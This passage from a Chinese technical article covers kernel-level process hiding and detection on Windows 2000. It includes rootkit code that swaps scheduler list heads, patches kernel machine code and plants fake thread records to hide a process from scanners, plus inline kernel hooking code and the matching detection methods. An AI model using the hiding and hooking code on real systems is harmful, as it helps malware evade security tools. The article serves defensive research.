PLIST_ENTRY KiWaitInListHead =          (PLIST_ENTRY)0x80482258;  
PLIST_ENTRY KiDispatcherReadyListHead = (PLIST_ENTRY)0x804822e0;  
PLIST_ENTRY KiWaitOutListhead =         (PLIST_ENTRY)0x80482808;  
  遍歷所有的執行緒排程連結串列。  
for ( i =0; i<32 ;i++ )  
{  
    DisplayList(KiDispatcherReadyListHead+i);  
}  
DisplayList(KiWaitInListHead);  
DisplayList(KiWaitOutListhead);  
  通過上面的那一小段核心程式碼就能把刪除活動程式連結串列的隱藏程式給查出來。也可以改寫一個友好一點的驅動,加入IOCTL,得到的程式資訊把列印在DbgView中把它返回給Ring3的應用程式,然後應用程式對返回的資料進行處理,和Ring3級由PSAPI得到的程式對比,然後判斷是不是有隱藏的程式。  
    4.繞過核心排程連結串列隱藏程式。  
  Xfocus上SoBeIt提出了繞過核心排程連結串列程式檢測。詳情可以參見原文:  
  http://www.xfocus.net/articles/200404/693.html  
  由於現在的基於執行緒排程的檢測系統都是通過核心偵錯程式得硬編碼來列舉所有的排程執行緒的,所以我們完全可以自己創造一個那三個排程連結串列頭,然後把原連結串列頭從鏈中斷開,把自己的申請的連結串列頭接上去。由於執行緒排程的時候會用到KiFindReadyThread等核心API,在KiFindReadyThread裡面又會去訪問KiDispatcherReadyListHead,所以我完全可以把KiFindReadyThread中那段訪問KiDispatcherReadyListHead的機器碼修改了,把原KiDispatcherReadyListHead的地址改成我們新申請的頭。  
kd> u KiFindReadyThread+0x48  
nt!KiFindReadyThread+0x48:  
804313db 8d34d5e0224880 lea esi,[nt!KiDispatcherReadyListHead (804822e0)+edx*8]  
  很明顯我們可以在機器碼中看到e0224880,由於它是在記憶體中以byte序列顯示的轉換成DWORD就是804822e0就是我們KiDispatcherReadyListHead的地址。所以我們要做的就是把[804313db+3]賦值成我們自己申請的一個鏈頭。使其系統以後對原連結串列頭的操作變化成對我們自己申請的連結串列頭的操作。同理用到那三個連結串列頭的還有一些核心API,所以必須找到他們在機器碼中含有原表頭地址資訊的具體地址然後把它全部替換掉。不然系統排程就會出錯.系統中用到KiWaitInListHead的例程:KeWaitForSingleObject、 KeWaitForMultipleObject、 KeDelayExecutionThread、 KiOutSwapKernelStacks。用到KiWaitOutListHead的例程和KiWaitInListHead的一樣。使用KiDispatcherReadyListHead的例程有:KeSetAffinityThread、KiFindReadyThread、KiReadyThread、KiSetPriorityThread、NtYieldExecution、KiScanReadyQueues、KiSwapThread。  
  申請新的表頭空間:  
pNewKiWaitInListHead = (PLIST_ENTRY)ExAllocatePool \  
                        (NonPagedPool,sizeof(LIST_ENTRY)); 
pNewKiWaitOutListHead = (PLIST_ENTRY)ExAllocatePool \  
                        (NonPagedPool, sizeof(LIST_ENTRY));  
pNewKiDispatcherReadyListHead = (PLIST_ENTRY)ExAllocatePool \  
                        (NonPagedPool, 32 * sizeof(LIST_ENTRY));  
  
  下面僅僅以pNewKiWaitInListHead頭為例,其他的表頭都是一樣的操作。  
  新排程連結串列的表頭替換:  
  InitializeListHead(pNewKiWaitInListHead);    
  把原來的系統連結串列頭摘除,把新的接上去:  
pFirstEntry = pKiWaitInListHead->Flink; 
pLastEntry = pKiWaitInListHead->Blink; 
pNewKiWaitInListHead->Flink = pFirstEntry; 
pNewKiWaitInListHead->Blink = pLastEntry; 
pFirstEntry->Blink = pNewKiWaitInListHead; 
pLastEntry->Flink = pNewKiWaitInListHead;  
   剩下的就是在原來的執行緒排程連結串列上做文章了使其基於執行緒排程檢測系統看不出什麼異端.  
for(;;)  
{  
    InitializeListHead(pKiWaitInListHead);  
    for(pEntry = pNewKiWaitInListHead->Flink;  
    pEntry && pEntry != pNewKiWaitInListHead;  
    pEntry = pEntry->Flink)  
{  
pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c);  
pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);  
        PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);  
        if(PID == 0x8)  
                 continue;  
pFakeETHREAD = ExAllocatePool(PagedPool,sizeof(FAKE_ETHREAD));  
        memcpy(pFakeETHREAD, pETHREAD,sizeof(FAKE_ETHREAD));  
        InsertHeadList(pKiWaitInListHead, &pFakeETHREAD->WaitListEntry);  
}  
...休息一段時間  
}  
  首先每過一小段時間就把原來的執行緒排程連結串列清空,然後遍歷當前的執行緒排程鏈,判斷鏈中的每一個KPROCESS塊是不是要屬於要隱藏的程式執行緒,如果是就跳過,不是就自己構造一個ETHREAD塊把當前的資訊拷貝過去,然後把自己構造的ETHREAD塊加入到原來的排程連結串列中。為什麼要自己構造一個ETHREAD?其原因主要有2個,其一為了使檢測系統看起來更可信,如果僅僅清空原來的執行緒排程連結串列那麼檢測系統將查不出來任何的執行緒和程式資訊,  
  很明顯,這無疑不打自招的說,系統裡面已經有東西了。其二,如果把自己構造的ETHREAD塊掛接在原排程連結串列中,檢測系統會訪問掛在原來排程連結串列上的ETHREAD塊裡面的成員,如果不自己構造一個和真實ETHREAD塊重要資訊一樣的塊,那麼檢測系統很有可能出現非法訪問,然後就boom蘭屏了。  
    實際上所謂的繞過系統檢測僅僅是針對基於執行緒排程的檢測程式的防禦系統而言的,其實系統依舊在進行執行緒排程,訪問的是我們新建的連結串列頭部。而檢測系統訪問的是原來的頭部,他後面的資料項是我們自己申請的,系統並不訪問。  
  5.檢測繞過核心排程連結串列隱藏程式  
  一般情況下我們是通過核心偵錯程式得到那三條連結串列的核心地址,然後進行列舉。這就給隱藏者留下了機會,如上面所示。但是我們完全可以把上面那種隱藏程式檢測出來。我們也通過在核心函式中取得硬編碼的辦法來分別取得他們的連結串列頭的地址。如上面我們已經看見了 KiFindReadyThread+0x48+3出就是KiDispatcherReadyListHead的地址,如果用上面的繞過核心排程連結串列檢測辦法同時也去要修改KiFindReadyThread+0x48+3的值為新連結串列的頭部地址。所以我們的檢測系統完全可以從KiFindReadyThread+0x48+3(0x804313de)去取得KiDispatcherReadyListHead的值。同理KiWaitInListHead, KiWaitOutListhead也都到使用他們的相應的核心函式裡面去取得地址。就算原地址被修改過,我們也能把修改過後的排程連結串列頭給找出來。所以欺騙就不行了。  
  Hook 核心函式(KiReadyThread)檢測程式  
  1.介紹通用Hook核心函式的方法  
  當我們要攔截目標函式的時候,只要修改原函式頭5個位元組的機器程式碼為一個JMP XXXXXXXX(XXXXXXXX是距自己的Hook函式的偏移量)就行了。並且儲存原來修改前的5個位元組。在跳入原函式時,恢復那5個位元組即可。  
char JmpMyCode [] = {0xE9,0x00,0x00,0x00,0x00};//E9對應Jmp偏移量指令  
*((ULONG*)(JmpMyCode+1))=(ULONG)MyFunc-(ULONG)OrgDestFunction-5;//獲得偏移量  
memcpy(OrgCode,(char*)OrgDestFunction,5);//儲存原來的程式碼  
memcpy((char*)OrgDestFunction,JmpMyCode,5);//覆蓋前一個命令為一個跳轉指令  
  在系統核心級中,MS的很多資訊都沒公開,包括函式的引數數目,每個引數的型別等。在系統核心中,訪問了大量的暫存器,而很多暫存器的值,是上層呼叫者提供的。如果值改變系統就會變得不穩定。很可能出現不可想象的後果。另外有時候對需要Hook的函式的引數不瞭解,所以不能隨便就去改變它的堆疊,如果不小心也有可能導致藍屏。所以Hook的最佳原則是在自己的Hook函式中呼叫原函式的時候,所有的暫存器值,堆疊裡面的值和Hook前的資訊一樣。這樣就能保證在原函式中不會出錯。一般我們自己的Hook的函式都是寫在C檔案裡面的。例如Hook的目標函式KiReadyThread。那麼一般就自己實現一個:  
MyKiReadyThread(...)  
{  
    ......  
    call KiReadyThread  
    ......  
}  
但是用C編譯器編譯出來的程式碼會出現一個堆疊幀:  
Push ebp  
mov ebp,esp  
這就和我們的初衷不改變暫存器的數違背了。所以我們可以自己用匯編來實MyKiReadyThread。  
_MyKiReadyThread @0 proc  
    pushad      ;儲存通用暫存器  
    call _cfunc@0 ;這裡是在進入原來函式前進行的一些處理。  
    popad       ;恢復通用暫存器  
    push eax    
    mov eax,[esp+4] ;得到系統在call 目標函式時入棧的返回地址。  
    mov ds:_OrgRet,eax ;儲存在一個臨時變數中  
    pop eax  
mov [esp],retaddr ;把目標函式的返回地址改成自己的程式碼空間的返回地址,使其返回後能接手繼續的處理  
    jmp _OrgDestFunction ;跳到原目標函式中  
retaddr:  
    pushad         ;原函式處理完後儲存暫存器  
    call _HookDestFunction@0 ;再Hook  
    popad ;回覆暫存器  
    jmp ds:_OrgRet ;跳到系統呼叫目標函式的下一條指令。  
_MyKiReadyThread@0 endp  
  在實現了Hook過後在當呼叫原來的函式時(jmp _OrgDestFunction),這個時候所以暫存器的值和堆疊資訊和沒Hook的時候一樣。在返回到系統的時候(jmp ds:_OrgRet),這個時候的堆疊資訊和暫存器的值和沒有Hook的時候也是一樣。就說是中間Hook層對下面和上面都是透明的。  
  2. 檢測隱藏程式  
  線上程排程搶佔的的時候會呼叫KiReadyThread,它的原型為:  
  VOID FASTCALL KiReadyThread (IN PRKTHREAD Thread);  
  在進入KiReadyThread時,ecx指向Thread。所以完全可以Hook KiReadyThread 然後用ecx的值得到但前執行緒的程式資訊。KiReadyThread沒被ntosknrl.exe匯出,所以通過硬編碼來。在2000Sp4中地址為0x8043141f。  
void cfunc (void)  
{  
    ULONG PKHeader=0;  
    __asm  
    {  
        mov PKHeader,ecx //ecx暫存器是KiReadyThread中的PRKTHREAD引數  
    }  
    ResumeDestFunction(); //恢復頭5個位元組  
     
    if ( PKHeader != 0 )  
    {  
        DisplayName((PKTHREAD)PKHeader);     
    }    
}  
cfun是Hook函式呼叫用來得到當前執行緒搶佔的程式資訊的。  
 void DisplayName(PKTHREAD Thread)  
{  
    PKPROCESS Process = Thread->ApcState.Process;  
    PEPROCESS pEprocess = (PEPROCESS)Process;  
    DbgPrint("ImageFileName = %s \n",pEprocess->ImageFileName);  
}  
void HookDestFunction() //設定頭個位元組為一個跳轉指令,跳到自己的函式中去  
{  
    DisableWriteProtect(&orgcr0);  
    memcpy((char*)OrgDestFunction,JmpMyCode,5);  
    EnableWriteProtect(orgcr0);  
}  
void ResumeDestFunction() //恢復頭5個位元組  
{  
    DisableWriteProtect(&orgcr0);  
    memcpy((char*)OrgDestFunction,OrgCode,5);  
    EnableWriteProtect(orgcr0);  
}  
  除了KiReadyThread其他還可以Hook其他核心函式,只有hook過後能得到執行緒或者是程式的ETHREAD或者是EPROCESS結構頭地址。其Hook的方法都是一樣的。Hook KiReadyThread基本原來說明了,詳細實現可以見我的另外一篇文章《核心級利用通用Hook函式方法檢測程式》。  
  結論  
    以上對核心級程式隱藏和偵測做了一個總結和對每一種方法的原理進行的詳細闡述,並給出了核心的實現代碼。  
    資訊保安將是未來發展的一個重點,攻擊和偵測都有一個向底層靠攏的趨勢。程式隱藏和偵測只是資訊保安中的很小的一個部分。未來病毒和反病毒底層化是一個不可逆轉的事實。通過對系統系統底層分析能更好的瞭解病毒技術,從而能夠有效的進行查殺。為以後從事資訊保安方面的研究奠定一個好的基礎。

相關文章